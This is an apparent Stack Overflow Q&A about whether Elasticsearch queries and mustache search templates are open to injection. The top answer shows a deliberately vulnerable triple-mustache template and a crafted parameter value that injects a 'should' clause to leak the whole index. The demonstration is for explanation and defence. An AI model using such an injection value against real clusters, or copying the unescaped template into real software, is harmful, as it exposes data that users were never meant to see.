19

I'm building an Elasticsearch query using QueryBuilders in my backend. The cluster is not directly exposed to the internet, and only accessed through the backend.

I've noticed that I am providing it with un-santized user input, and it reminded me of SQL injections. I know how to prevent SQL injections, but I'm not sure that the QueryBuilder escapes the input?

I found that there is a thing called 'Search Templates', which use mustache. Do they maybe escape the content properly? Are they 'the way to go' to prevent such problems?

I'm not even sure what the problematic user input could be like. When using the QueryBuilder, I don't think the HTTP METHOD of the query could be changed.

Maybe scripting could be a problem, but that can be disabled.

To reiterate my question: are code injections a problem for Elasticsearch, and if yes, what are the best ways to mitigate them?

Thanks! :)

2
  • Do you have content worthy of someone spending time trying to hack it?
    – Val
    Commented Feb 20, 2019 at 5:05
  • Content probably not, but I'm not sure as to the extend an injection could be exploited. Some SQL injection weaknesses can, given the right circumstances, be leveraged to gain complete control of the machine the SQL server is running on.
    – Ynv
    Commented Feb 20, 2019 at 14:07

1 Answer 1

20

You can find all previously detected security flaws in ES, but NoSQL injection has never been one of them... so far.

However, you can find some literature that talks about how to do just that. Also some other discussions and resources might be worth reading.

As a quick example, it is definitely possible to create a NoSQL injection attack when using search templates that are leveraging the Mustache templating language. For instance, say we have the following two documents:

PUT attack/doc/1
{
  "field1": 2,
  "field2": 1
}
PUT attack/doc/2
{
  "field1": 2,
  "field2": 2
}

And a template query on field1 that (wrongly) uses triple mustaches:

POST _scripts/attack
{
  "script": {
    "lang": "mustache",
    "source": """
{
  "query": {
    "bool": {
      "filter": [
        {
          "term": {
            "field1": {{{field}}}
          }
        },
        {
          "range": {
            "field2": {
              "gte": 2
            }
          }
        }
      ]
    }
  }
}
    """
  }
}

By using a cleverly chosen value for the field parameter, we can leak the whole index:

POST attack/_search/template
{
  "id": "attack",
  "params": {
    "field": "2}}],\"should\":[{\"range\":{\"field2\":{\"lte\":2}"
  }
}

The final query would look like this, i.e. we were able to insert a should clause that basically leaks the whole index:

  {
    "query" : {
      "bool" : {
        "filter" : [
          {
            "term" : {
              "field1" : 2
            }
          }
        ],
        "should" : [
          {
            "range" : {
              "field2" : {
                "lte" : 2
              }
            }
          },
          {
            "range" : {
              "field2" : {
                "gte" : 2
              }
            }
          }
        ]
      }
    }
  }
1
  • Since this is the 1st google result for Elastic Search injection queries, I'd add that using the match and multi_match operations as opposed to query helps mitigate the surface area for injection to just the values of fields in predicates.
    – Zambonilli
    Commented Feb 24, 2022 at 14:31

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.